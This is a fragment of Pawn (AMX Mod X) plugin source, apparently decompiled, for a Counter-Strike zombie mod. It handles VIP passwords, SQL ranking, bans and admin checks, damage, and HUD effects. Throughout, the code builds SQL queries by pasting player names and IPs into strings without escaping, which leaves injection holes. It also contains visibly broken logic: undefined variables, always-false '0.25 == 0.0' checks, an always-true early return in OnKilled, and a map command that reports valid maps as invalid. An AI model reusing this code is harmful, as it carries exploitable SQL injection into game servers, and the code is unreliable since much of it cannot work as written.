if (equali(g_cPasswords[iPlayer], g_cVipPasswords[i], 0))
{
g_bVip[iPlayer] = 1;
formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cVipFlags[i]);
if (VipHasFlag(iPlayer, 114))
{
set_task(10.0, "TaskRays", 0, "", 0, "b", 0);
}
}
else
{
server_cmd("kick #%d Your VIP password is incorrect!", get_user_userid(iPlayer));
}
return 0;
}
i++;
}
return 0;
}
public AnnounceXa(Player)
{
if (g_bConnected[Player])
{
new Name[32];
get_user_name(Player, Name, 31);
client_print_color(0, print_team_grey, "^1Player^4 %s^1 connected from [^3%s^1] [^3%s^1]", Name, Data[Player][1], Data[Player][4]);
}
return 0;
}
public TaskRays(iPlayer)
{
if (g_bAlive[iPlayer] && !g_bRoundStart && !g_bRoundEnd && g_bModeStarted)
{
switch (get_team(iPlayer))
{
case 1:
{
new i = 1;
while (i <= g_iMaxClients)
{
if (g_bAlive[i] && !g_bZombie[i] && !visible(iPlayer, i))
{
Beam(iPlayer, i, 0, 42, 255);
}
i++;
}
}
case 2:
{
new i = 1;
while (i <= g_iMaxClients)
{
if (g_bAlive[i] && g_bZombie[i] && !visible(iPlayer, i))
{
Beam(iPlayer, i, 255, 24, 0);
}
i++;
}
}
default:
{
}
}
}
return 0;
}
public GetCC(p)
{
if (g_bConnected[p])
{
LoadData(p);
}
return 0;
}
public ShowMsgGlow(iPlayer)
{
if (!g_bConnected[iPlayer] || !g_bRanked[iPlayer])
{
return 0;
}
static cPlayer[3];
num_to_str(iPlayer, cPlayer, 3);
formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", g_cQuery, cPlayer, 3);
return 0;
}
public TaskPreparePlayerChanged(i)
{
if (g_bConnected[i] && !g_bRanked[i])
{
static cPlayer[3];
num_to_str(i, cPlayer, 3);
formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[i]);
SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, 3);
}
return 0;
}
public TaskShowMessage(iPlayer)
{
if (g_bConnected[iPlayer] && g_bRanked[iPlayer])
{
static Float:fCurrentTime;
fCurrentTime = get_gametime();
if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
{
static cPlayer[3];
num_to_str(iPlayer, cPlayer, 3);
formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", g_cQuery, cPlayer, "");
g_fLastQuery = fCurrentTime;
}
else
{
set_task(floatsub(floatadd(2.0, g_fLastQuery), fCurrentTime), "ShowMsgGlow", iPlayer, "", 0, "", 0);
g_fLastQuery = floatadd(2.0, g_fLastQuery);
}
}
else
{
if (!g_bRanked[iPlayer] && g_bConnected[iPlayer])
{
set_task(3.0, "TaskShowMessage", iPlayer, "", 0, "", 0);
}
}
return 0;
}
public _Task_BanCheck(iPlayer)
{
static cPlayer[3];
num_to_str(iPlayer, cPlayer, "");
formatex(g_cQuery, 255, "SELECT c FROM b WHERE c='%s'", g_cInternetProtocolAddress[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLBanCheck", g_cQuery, cPlayer, 3);
return 0;
}
public _Task_AdminCheck(iPlayer)
{
static cPlayer[3];
num_to_str(iPlayer, cPlayer, 3);
if (strlen(g_cSteam[iPlayer]) == 18)
{
formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE s='%s' OR n='%s'", g_cSteam[iPlayer], g_cName[iPlayer]);
}
else
{
formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE n='%s'", g_cName[iPlayer]);
}
SQL_ThreadQuery(g_hSQLTuple, "SQLCheckAdmin", g_cQuery, cPlayer, 3);
return 0;
}
public _Task_RankCheck(iPlayer)
{
static cPlayer[3];
num_to_str(iPlayer, cPlayer, 3);
formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, 3);
return 0;
}
public SQLPrintGlowRank(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
static cScore[15];
static cDeaths[15];
static cKills[15];
static cTotal[15];
static cRank[15];
static cBuffer[900];
static iPlayer;
iPlayer = str_to_num(cData);
AddCommas(g_iScore[iPlayer], cScore, 14);
AddCommas(SQL_NumResults(hQuery), cRank, 14);
AddCommas(g_iRanksCount, cTotal, 14);
AddCommas(g_iDeaths[iPlayer], cDeaths, 14);
AddCommas(g_iKills[iPlayer], cKills, 14);
new var1;
if (g_iDeaths[iPlayer])
{
var1 = floatdiv(float(g_iKills[iPlayer]), float(g_iDeaths[iPlayer]));
}
else
{
var1 = float(g_iKills[iPlayer]);
}
formatex(cBuffer, 899, "Welcome, %s\nRank: %s of %s Score: %s\nKills: %s Deaths: %s KPD: %0.2f\nOnline: %s\nEnjoy!", g_cName[iPlayer], cRank, cTotal, cScore, cKills, cDeaths, var1, g_cOnlineTime[iPlayer]);
show_glow_message(iPlayer, cBuffer, 40960, 0.02, 0.21, 10.0);
show_glow_message(iPlayer, "Zm.CsDevils.Com\nDon't forget to add us to your favorites!", 6904269, 0.02, 0.5, 10.0);
return 0;
}
show_glow_message(iPlayer, cMessage[], iColor, Float:fX, Float:fY, Float:fDuration)
{
if (!g_bConnected[iPlayer] || !is_user_connected(iPlayer))
{
return 0;
}
message_begin(MSG_ONE_UNRELIABLE, SVC_DIRECTOR, _, iPlayer);
write_byte(strlen(cMessage) + 31);
write_byte(6);
write_byte(2);
write_long(iColor);
write_long(fX);
write_long(fY);
write_long(0.1);
write_long(1.5);
write_long(fDuration);
write_long(6.0);
write_string(cMessage);
message_end();
return 0;
}
public TaskDeleteBans()
{
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM b WHERE u>0 AND u<unix_timestamp(now())", "", 0);
return 0;
}
public TaskDeleteRanks()
{
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM r WHERE t<(unix_timestamp(now())-2419200)", "", 0);
return 0;
}
public TaskUnban()
{
static Float:fCurrentTime;
fCurrentTime = get_gametime();
if (fCurrentTime - g_fLastQuery >= 2.0)
{
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM r WHERE t<(unix_timestamp(now())-2419200)", "", 0);
g_fLastQuery = fCurrentTime;
}
else
{
set_task(g_fLastQuery + 2.0 - fCurrentTime, "TaskDeleteRanks", 0, "", 0, "", 0);
g_fLastQuery = g_fLastQuery + 2.0;
}
if (fCurrentTime - g_fLastQuery >= 2.0)
{
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM b WHERE u>0 AND u<unix_timestamp(now())", "", 0);
g_fLastQuery = fCurrentTime;
}
else
{
set_task(g_fLastQuery + 2.0 - fCurrentTime, "TaskDeleteBans", 0, "", 0, "", 0);
g_fLastQuery = g_fLastQuery + 2.0;
}
return 0;
}
public client_infochanged(iClient)
{
if (g_bConnected[iClient])
{
static NewName[33];
get_user_info(iClient, "name", NewName, 32);
strip_name(NewName, 32);
if (!equali(g_cName[iClient], NewName, 0))
{
OnNameChanged(iClient, NewName);
}
}
return 0;
}
public OnPassword(iPlayer, String:cPassword[])
{
formatex(g_cPasswords[iPlayer], 31, "%s", cPassword);
return 0;
}
OnNameChanged(iPlayer, cName[])
{
static Float:fCurrentTime;
fCurrentTime = get_gametime();
new var1;
if (!g_bRanked[iPlayer] || floatsub(fCurrentTime, g_fLastNameChanged[iPlayer]) < 4.0)
{
server_cmd("kick #%d Stop changing your name so fast!", get_user_userid(iPlayer));
}
else
{
if (g_bRanked[iPlayer])
{
g_bRanked[iPlayer] = 0;
formatex(g_cName[iPlayer], 32, "%s", cName);
static cPlayer[3];
num_to_str(iPlayer, cPlayer, 3);
formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer]);
if (fCurrentTime - g_fLastQuery >= 2.0)
{
SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, "");
g_fLastNameChanged[iPlayer] = fCurrentTime;
g_fLastQuery = fCurrentTime;
}
set_task(g_fLastQuery + 2.0 - fCurrentTime, "TaskPreparePlayerChanged", iPlayer, "", 0, "", 0);
g_fLastQuery = g_fLastQuery + 2.0;
g_fLastNameChanged[iPlayer] = fCurrentTime;
g_bRanked[iPlayer] = 0;
}
}
set_task(5.0, "TaskCheckName", iPlayer, "", 0, "", 0);
return 0;
}
public TaskCheckName(iPlayer)
{
if (g_bConnected[iPlayer])
{
if (g_bRanked[iPlayer])
{
check_for_swear(iPlayer);
}
set_task(5.00, "TaskCheckName", iPlayer, "", 0, "", 0);
}
return 0;
}
public CmdMap(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 55))
{
static cMap[32];
read_argv(1, cMap, 32);
if (is_map_valid(cMap))
{
set_cvar_num("mp_timelimit", 4096);
set_cvar_string("nextmap", cMap);
set_task(1.0, "TimerChangeMap", 0, "", 0, "", 0);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 changed map to^4 %s", g_cName[iPlayer], cMap);
}
console_print(iPlayer, "[Zombie Outstanding] Map %s is not valid!", cMap);
}
return 0;
}
public OnTraceAttack(victim, attacker, Float:damage, Float:direction[3], tracehandle, damage_type)
{
if (victim == attacker || !is_user_valid_connected(attacker))
return 1;
if (g_bRoundStart || g_bRoundEnd )
return 4;
if (g_bZombie[attacker] == g_bZombie[victim])
return 4;
if (g_bNoDamage [victim])
return 4;
if (!g_bZombie[victim] || !(damage_type & DMG_BULLET))
return 1;
if (g_iPlayerType[victim] & 1 && 0.25 == 0.0)
return 1;
if (g_iPlayerType[victim] & 2 && 0.25 == 0.0)
return 1;
if ((g_bGolden[attacker] && g_iWeapon[attacker] == 28) || (g_bGoldenDeagle[attacker] && g_iWeapon[attacker] == 26))
{
Tracers(attacker);
LightningTracers(attacker);
}
static ducking
ducking = pev(victim, pev_flags) & (FL_DUCKING | FL_ONGROUND) == (FL_DUCKING | FL_ONGROUND)
if (ducking && 0.25 == 0.0)
return 1;
static origin1[3], origin2[3]
get_user_origin(victim, origin1)
get_user_origin(attacker, origin2)
if (get_distance(origin1, origin2) > 500)
return 1;
static Float:velocity[3]
pev(victim, pev_velocity, velocity)
xs_vec_mul_scalar(direction, damage, direction)
xs_vec_mul_scalar(direction, kb_weapon_power[g_iWeapon[attacker]], direction)
if (ducking)
xs_vec_mul_scalar(direction, 0.25, direction)
if (g_iPlayerType[victim] & 1)
xs_vec_mul_scalar(direction, 0.25, direction)
else if (g_iPlayerType[victim] & 2)
xs_vec_mul_scalar(direction, 0.15, direction)
else
xs_vec_mul_scalar(direction, g_fZombieKnockbacks[g_iZombieClass[victim]], direction)
xs_vec_add(velocity, direction, direction)
direction[2] = velocity[2]
set_pev(victim, pev_velocity, direction)
return 1;
}
public OnTouch(iWeapon, id)
{
if ( !is_user_valid_connected ( id ) ) return 1;
if ( g_bZombie [id] || ( ( g_iPlayerType[id] & 4 || g_iPlayerType[id] & 8) && !g_bFake [id] ) ) return 4;
return 1;
}
public OnTakeDamage(Victim, Inflictor, Attacker, Float:Damage, DamageType)
{
if ( Victim == Attacker || !is_user_valid_connected ( Attacker ) ) return 1;
if ( g_bRoundStart || g_bRoundEnd ) return 4;
if ( g_bNoDamage [Victim] ) return 4;
if ( g_bZombie [Attacker] == g_bZombie [Victim] ) return 4;
if (!g_bZombie[Attacker])
{
if (g_iPlayerType[Attacker] & 8 && g_iWeapon[Attacker] == 18)
{
Damage = 3000.0;
SetHamParamFloat(4, Damage);
}
else
{
if (g_iPlayerType[Attacker])
{
Damage *= 0.75;
SetHamParamFloat(4, Damage);
}
if (g_bDoubleDamage[Attacker])
{
Damage *= 2.0;
SetHamParamFloat(4, Damage);
}
if (((g_iWeapon[Attacker] == 28 && g_bGolden[Attacker]) || (g_iWeapon[Attacker] == 26 && g_bGoldenDeagle[Attacker])))
{
Damage *= 2.0;
SetHamParamFloat(4, Damage);
}
g_fDamage[Attacker] += floatround(Damage);
while (g_fDamage[Attacker] > 500.0)
{
g_iPacks[Attacker]++;
g_fDamage[Attacker] -= 500.0;
}
if (++g_iPosition[Attacker] == 8)
{
g_iPosition[Attacker] = 0;
}
set_hudmessage(0, 40, 80, g_flCoords[g_iPosition[Attacker]][0], g_flCoords[g_iPosition[Attacker]][1], 0, 0.10, 2.50, 0.02, 0.02, -1);
ShowSyncHudMsg(Attacker, "%0.0f", Damage);
}
return 1;
}
if ( DamageType & 1<<24 ) return 4;
if ( g_iPlayerType[Attacker] & 1 )
{
if ( Inflictor == Attacker ) SetHamParamFloat ( 4, 250.0 );
return 1;
}
else if ( g_iPlayerType[Attacker] & 2 )
{
if ( Inflictor == Attacker ) SetHamParamFloat ( 4, 250.0 );
return 1;
}
if (g_iPlayerType[Attacker] & 1 || g_iPlayerType[Attacker] & 2 || g_iRoundType & 4 || g_iRoundType & 1 || g_iRoundType & 64 || g_iRoundType & 32 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || GetHumans() == 1) return 1;
static Float: Armor; pev ( Victim, pev_armorvalue, Armor );
static iHumans;
static iZombies;
if ( Armor > 0.0 )
{
client_cmd(Victim, "spk ZombieOutstanding/armor_hit");
set_pev ( Victim, pev_armorvalue, floatmax ( 0.0, Armor - Damage ) );
return 4;
}
MakeZombie(Attacker, Victim, false, false, false);
iZombies = GetZombies();
iHumans = GetHumans();
if (iZombies < iHumans)
{
if (iZombies < 4 && iZombies && g_bZombie[iVictim] && !g_bZombie[iAttacker])
{
set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1)
ShowSyncHudMsg(0, g_iRemainingSync, "%d Zombies Remaining...", iZombies);
}
}
else
{
if (iZombies > iHumans)
{
if (iHumans < 4 && iHumans && g_bZombie[iAttacker] && !g_bZombie[iVictim])
{
set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1)
ShowSyncHudMsg(0, g_iRemainingSync, "%d Humans Remaining...", iHumans);
}
}
}
return 4;
}
public OnPlayerJump(iPlayer)
{
if (g_bAlive[iPlayer])
{
new nbut = get_user_button(iPlayer)
new obut = get_user_oldbutton(iPlayer)
if (g_bZombie[iPlayer] && !g_iPlayerType[iPlayer] && g_iZombieClass[iPlayer] == 3)
{
if ((nbut & IN_JUMP) && !(get_entity_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && !g_iJumps[iPlayer])
{
new Float:fVelocity[3];
entity_get_vector(iPlayer, EV_VEC_velocity, fVelocity)
fVelocity[2] = random_float(265.0, 285.0);
entity_set_vector(iPlayer, EV_VEC_velocity, fVelocity)
g_iJumps[iPlayer]++;
}
if((nbut & IN_JUMP) && (get_entity_flags(iPlayer) & FL_ONGROUND))
{
g_iJumps[iPlayer] = 0;
}
}
if (!g_bZombie[iPlayer] && g_iMaxJumps[iPlayer])
{
if ((nbut & IN_JUMP) && !(get_entity_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && g_iJumps[iPlayer] <= g_iMaxJumps[iPlayer] - 1)
{
new Float:fVelocity[3];
entity_get_vector(iPlayer, EV_VEC_velocity, fVelocity)
fVelocity[2] = random_float(265.0, 285.0);
entity_set_vector(iPlayer, EV_VEC_velocity, fVelocity)
g_iJumps[iPlayer]++;
}
if((nbut & IN_JUMP) && (get_entity_flags(iPlayer) & FL_ONGROUND))
{
g_iJumps[iPlayer] = 0;
}
}
}
return 0;
}
GetLastHuman()
{
new i = 1;
while (i <= g_iMaxClients)
{
if (g_bAlive[i] && g_bConnected[i] && !g_bZombie[i])
{
return i;
}
i++;
}
return 0;
}
GetLastZombie()
{
new i = 1;
while (i <= g_iMaxClients)
{
if (g_bAlive[i] && g_bConnected[i] && g_bZombie[i])
{
return i;
}
i++;
}
return 0;
}
public OnKilled(iVictim, iAttacker, iGibs)
{
static iHumans;
static iZombies;
g_bFlash[iVictim] = 1;
g_bGoldenDeagle[iVictim] = 0;
g_bGolden[iVictim] = 0;
g_bKilling[iVictim] = 0;
g_bFlashEnabled[iVictim] = 1;
g_bTryder[iVictim] = 0;
g_bUnlimitedClip[iVictim] = 0;
g_bFrozen[iVictim] = 0;
set_frozen(iVictim, 0);
remove_task(iVictim + 350, 0);
g_bAlive[iVictim] = 0;
iZombies = GetZombies();
iHumans = GetHumans();
if (iZombies < iHumans)
{
if (iZombies < 4 && iZombies && g_bZombie[iVictim] && iAttacker > 0 && iAttacker <= g_iMaxClients && !g_bZombie[iAttacker])
{
set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1)
ShowSyncHudMsg(0, g_iRemainingSync, "%d Zombies Remaining...", iZombies);
}
}
else
{
if (iZombies > iHumans)
{
if (iHumans < 4 && iHumans && iAttacker > 0 && iAttacker <= g_iMaxClients && g_bZombie[iAttacker] && !g_bZombie[iVictim])
{
set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1)
ShowSyncHudMsg(0, g_iRemainingSync, "%d Humans Remaining...", iHumans );
}
}
}
if (iZombies == 1 && iHumans == 1)
{
set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iVersusSync, "%s vs %s", g_cName[GetLastHuman()], g_cName[GetLastZombie()]);
}
if ( g_bZombie [iVictim] || !g_bZombie [iVictim])
{
if (g_bZombie[iVictim])
{
remove_task(iVictim + 200, 0);
}
return 0;
}
if (!g_bZombie[iAttacker])
{
if (g_iPlayerType[iAttacker] & 8)
{
static Origin [3]; get_user_origin ( Victim, Origin );
message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
write_byte ( TE_LAVASPLASH ) ;
write_coord ( Origin [0] );
write_coord ( Origin [1] );
write_coord ( Origin [2] - 26 );
message_end ( );
if (random_num(1, 4) == 1)
{
g_iPoints[Attacker] += 1;
set_hudmessage(255, 180, 30, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
ShowSyncHudMsg(Attacker, g_iRegenerationSync, "== SNIPER ==^n!!!Randomly got +1 point!!!^n[25% chance per zombie]");
}
}
else
{
g_iPacks[Attacker]++;
if (g_iPlayerType[Attacker])
{
g_iPoints[Attacker]++;
}
else
{
g_iPoints[Attacker] += 2;
}
remove_task(Victim + 200, 0);
}
if (g_iPlayerType[iAttacker])
{
SetHamParamInteger(3, 2);
}
}
else
{
g_iPacks[iAttacker] += 2;
if (!g_iPlayerType[iAttacker])
{
g_iPoints[iAttacker]++;
}
g_iScore[iAttacker] += 12;
g_iScore[iVictim] -= 20;
if (g_iZombieClass[iAttacker] == 6 && !g_iPlayerType[iAttacker])
{
SetHamParamInteger(3, 2);
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, Attacker)
write_short(4096)
write_short(2048)
write_short(0)
write_byte(255)
write_byte(0)
write_byte(0)
write_byte(255)
message_end()
}
if (g_iPlayerType[iAttacker])
{
SetHamParamInteger(3, 2);
g_Hidden[iVictim] = 1;
}
}
g_iKills[iAttacker]++;
g_iDeaths[iVictim]++;
g_iKillsThisRound[iAttacker]++;
SaveRank(iAttacker);
SaveRank(iVictim);
return 0;
}
public OnGrenadeThink(iEntity)
{
if (get_dmgtime(iEntity) > get_gametime())
{
return 1;
}
switch (pev(iEntity, 5))
{
case 1:
{
Infection_Explode(iEntity);
return 4;
}
case 2:
{
Fire_Explode(iEntity);
return 4;
}
case 3:
{
Freeze_Explode(iEntity);
return 4;
}
case 4:
{
Explosion_Explode(iEntity);
return 4;
}
case 5:
{
Killing_Explode(iEntity);
return 4;
}
default:
{
}
}
return 1;
}
public OnPlayerDuck(iPlayer)
{
static Float: CoolDown, Float: CurrentTime;
if ( g_bZombie [id] && g_iPlayerType[id] & 1 )
{
CoolDown = 1.0;
}
else return;
CurrentTime = get_gametime ( );
if ( CurrentTime - g_fLastLeapTime [id] < CoolDown ) return;
if ( !g_bFake [id] && !( pev ( id, pev_button ) & ( IN_JUMP | IN_DUCK ) == ( IN_JUMP | IN_DUCK ) ) ) return;
if ( !( pev ( id, pev_flags ) & FL_ONGROUND ) || GetEntitySpeed ( id ) < 80 ) return;
static Float: Velocity [3];
velocity_by_aim ( id, 500, Velocity )
Velocity [2] = 300.0;
set_pev ( id, pev_velocity, Velocity );
g_fLastLeapTime [id] = CurrentTime;
}
public OnPreFrame(iPlayer)
{
if (g_bAlive[iPlayer])
{
if (g_bFrozen[iPlayer])
{
set_speed(iPlayer, 0.0);
}
else if (g_bTryder[iPlayer])
{
set_gravity(iPlayer, 0.5);
set_speed(iPlayer, 250.0);
}
else if (g_bZombie[iPlayer])
{
if (!g_iPlayerType[iPlayer])
{
set_speed(iPlayer, g_fZombieSpeeds[g_iZombieClass[iPlayer]]);
set_gravity(iPlayer, g_fZombieGravities[g_iZombieClass[iPlayer]]);
}
else
{
if (g_iPlayerType[iPlayer] & 1)
{
set_speed(iPlayer, 250.0);
set_gravity(iPlayer, 0.5);
}
if (g_iPlayerType[iPlayer] & 2)
{
set_speed(iPlayer, 600.0);
set_gravity(iPlayer, 0.4);
}
}
}
else
{
if (!g_iPlayerType[iPlayer])
{
set_speed(iPlayer, 240.0);
set_gravity(iPlayer, 1.0);
}
if (g_iPlayerType[iPlayer] & 4)
{
set_speed(iPlayer, 250.0);
set_gravity(iPlayer, 0.85);
}
if (g_iPlayerType[iPlayer] & 8)
{
set_speed(iPlayer, 240.0);
set_gravity(iPlayer, 1.1);
}
}
}
return 0;
}
public Rocket_Touch( iOwner, iRocket )
{
if( g_bConnected[ iOwner ] )
{
static iPlayers[ 32 ], iNum, i;
get_players( iPlayers, iNum, "a" );
for( i = 0; i < iNum; i++ )
{
if( g_bZombie[iPlayers[i]])
{
static Float: fDistance, Float: fDamage;
fDistance = entity_range( iPlayers[ i ], iRocket );
if( fDistance < 320.0 )
{
fDamage = 1050.0 - fDistance;
static Float: fVelocity[ 3 ];
pev( iPlayers[ i ], pev_velocity, fVelocity );
xs_vec_mul_scalar( fVelocity, 2.75, fVelocity );
fVelocity[ 2 ] *= 1.75;
set_pev( iPlayers[ i ], pev_velocity, fVelocity );
message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenFade" ), _, iPlayers[ i ] );
write_short( 4096 );
write_short( 6096 );
write_short( 0x0000 );
write_byte( 220 );
write_byte( 0 );
write_byte( 0 );
write_byte( fDistance < 220 ? 215 : 205 );
message_end( );
message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenShake" ), _, iPlayers[ i ] );
write_short( 4096 * 100 );
write_short( 4096 * 500 );
write_short( 4096 * 200 );
message_end( );
if( float( get_health( iPlayers[ i ] ) ) - fDamage > 0.0 )
ExecuteHamB( Ham_TakeDamage, iPlayers[ i ], iRocket, iOwner, fDamage, DMG_BLAST );
else ExecuteHamB( Ham_Killed, iPlayers[ i ], iOwner, 2 );
if(g_iPlayerType[iPlayers[i]] & 1 && g_iPlayerType[iPlayers[i]] & 2 )
fDamage *= 0.75;
client_print_color(iOwner, print_team_grey, "^4[Zombie Outstanding]^1 Damage to^4 %s^1 ::^4 %0.0f^1 damage", g_cName[ iPlayers[ i ] ], fDamage );
}
}
}
}
}
public Grenade_Thrown(iOwner, iGrenade, iGrenadeType)
{
if (g_bZombie[iOwner])
{
send_beam_follow(iGrenade, 0, 250, 0, 200);
set_pev(iGrenade, pev_targetname, 1);
return 0;
}
switch (iGrenadeType)
{
case 4:
{
if (!g_bKilling[iOwner])
{
send_beam_follow(iGrenade, 127, 0, 255, 200);
set_pev(iGrenade, pev_targetname, 2);
}
else
{
send_beam_follow(iGrenade, 127, 0, 255, 200);
set_pev(iGrenade, pev_targetname, 5);
g_bKilling[iOwner] = 0;
}
}
case 9:
{
send_beam_follow(iGrenade, 255, 0, 0, 200);
set_pev(iGrenade, pev_targetname, 4);
}
case 25:
{
send_beam_follow(iGrenade, 0, 100, 200, 200);
set_pev(iGrenade, pev_targetname, 3);
}
default:
{
}
}
return 0;
}
public TaskCheckFlash(iPlayer)
{
if (!g_bConnected[iPlayer] || g_bAlive[iPlayer])
{
return 0;
}
g_bFlashEnabled[iPlayer] = 1;
g_bFlash[iPlayer] = 1;
remove_task(iPlayer + 350, 0);
set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
return 0;
}
InfectionEffects ( id )
{
static Origin [3]; get_user_origin ( id, Origin );
if ( !g_bFrozen [id] )
{
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, id)
write_short(4096)
write_short(2048)
write_short(0)
write_byte(255)
write_byte(0)
write_byte(0)
write_byte(255)
message_end()
}
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("Damage"), _, id)
write_byte(0)
write_byte(0)
write_long(DMG_NERVEGAS)
write_coord(0)
write_coord(0)
write_coord(0)
message_end()
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenShake"), _, id)
write_short(150000)
write_short(25000)
write_short(135000)
message_end()
message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
write_byte ( TE_IMPLOSION );
write_coord ( Origin [0] );
write_coord ( Origin [1] );
write_coord ( Origin[2] );
write_byte ( 150 );
write_byte ( 32 );
write_byte ( 3 );
message_end ( );
message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
write_byte ( TE_PARTICLEBURST );
write_coord ( Origin [0] );
write_coord ( Origin [1] );
write_coord ( Origin [2] );
write_short ( 50 );
write_byte ( 70 );
write_byte ( 3 );
message_end ( );
message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
write_byte ( TE_DLIGHT );
write_coord ( Origin [0] );
write_coord ( Origin [1] );
write_coord ( Origin [2] );
write_byte ( 20 );
write_byte ( 240 );
write_byte ( 0 );
write_byte ( 0 );
write_byte ( 2 );
write_byte ( 0 );
message_end ( );
}
AddCommas ( iNum , szOutput[] , iLen )
{
new szTmp [17] , iOutputPos , iNumPos , iNumLen;
iNumLen = num_to_str( iNum , szTmp , charsmax( szTmp ) );
if ( iNumLen <= 3 )
{
iOutputPos += copy ( szOutput [iOutputPos] , iLen , szTmp );
}
else
{
while ( ( iNumPos < iNumLen ) && ( iOutputPos < iLen ) )
{
szOutput[ iOutputPos++ ] = szTmp[ iNumPos++ ];
if ( ( iNumLen - iNumPos ) && !( ( iNumLen - iNumPos ) % 3 ) )
szOutput[ iOutputPos++ ] = ',';
}
szOutput[ iOutputPos ] = EOS;
}
return iOutputPos;
}
do_screen_fade( id, Float:fadeTime, Float:holdTime, red, green, blue, alpha, type = 0x0000 )
{
new fade, hold;
fade = floatround( fadeTime * 4096.0);
hold = floatround( holdTime * 4096.0);
message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenFade" ), _, id );
write_short( fade );
write_short( hold );
write_short( type );
write_byte( red );
write_byte( green );
write_byte( blue );
write_byte( alpha );
message_end( );
}
public MessageHealth(iMessage, iDestination, iEntity)
{
static iHealth;
iHealth = get_msg_arg_int(1);
if (iHealth > 255)
{
if (!(iHealth % 256))
{
set_health(iEntity, get_health(iEntity) + 1);
}
set_msg_arg_int(1, get_msg_argtype(1), 255);
}
return 0;
}
public TaskRemoveMadness(iPlayer)
{
if (g_bConnected[iPlayer])
{
g_bNoDamage[iPlayer] = 0;
if (!g_iPlayerType[iPlayer] & 1)
{
remove_glow(iPlayer);
}
set_take_damage(iPlayer, 2);
}
return 0;
}
public TaskPrintPassword(iPlayer)
{
if (g_bConnected[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Type a password for your account!");
}
return 0;
}
public TaskWelcome()
{
client_print_color(0, print_team_grey, "^1****^4 Zombie Outstanding^1 by^3 Hattrick^1 ||^4 Zm.CsDevils.Com^1 ****");
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Press^4 M^1 to open the game menu!");
return 0;
}
public TaskAmbience()
{
if (g_iRoundType & 4)
{
client_cmd(0, "spk ZombieOutstanding/ambience_survivor");
}
else
{
client_cmd(0, "spk ZombieOutstanding/ambience_normal");
}
return 0;
}
public TaskZombie()
{
if ((g_iAliveCount = GetAliveCount()))
{
g_bRoundStart = false;
if (g_iRoundsCount > 3)
{
StartSwarmMode(false);
}
else
{
StartNormalMode(0);
}
}
else
{
set_task(6.0, "TaskZombie", 550, "", 0, "", 0);
}
return 0;
}
public TaskHud(iTask)
{
static cPoints[15];
static cPacks[15];
static cHealth[15];
static iPlayer;
iPlayer = iTask + -300;
if (!g_bAlive[iPlayer])
{
iPlayer = iuser2(iPlayer);
if (!g_bAlive[iPlayer])
{
return 0;
}
}
if (iTask + -300 != iPlayer)
{
AddCommas(get_health(iPlayer), cHealth, 14);
AddCommas(g_iPacks[iPlayer], cPacks, 14);
AddCommas(g_iPoints[iPlayer], cPoints, 14);
set_hudmessage(10, 180, 150, -1.00, 0.79, 0, 6.00, 1.10, 0.00, 0.00, -1);
ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Spectating %s%s^n%s, Health: %s Armor: %d Packs: %s Points: %s^nFrom: %s, %s", g_bVip[iPlayer] ? "(Gold Member ®)" : "", g_cName[iPlayer], g_cClass[iPlayer], cHealth, get_armor(iPlayer), cPacks, cPoints, Data[iPlayer][1], Data[iPlayer][4]);
}
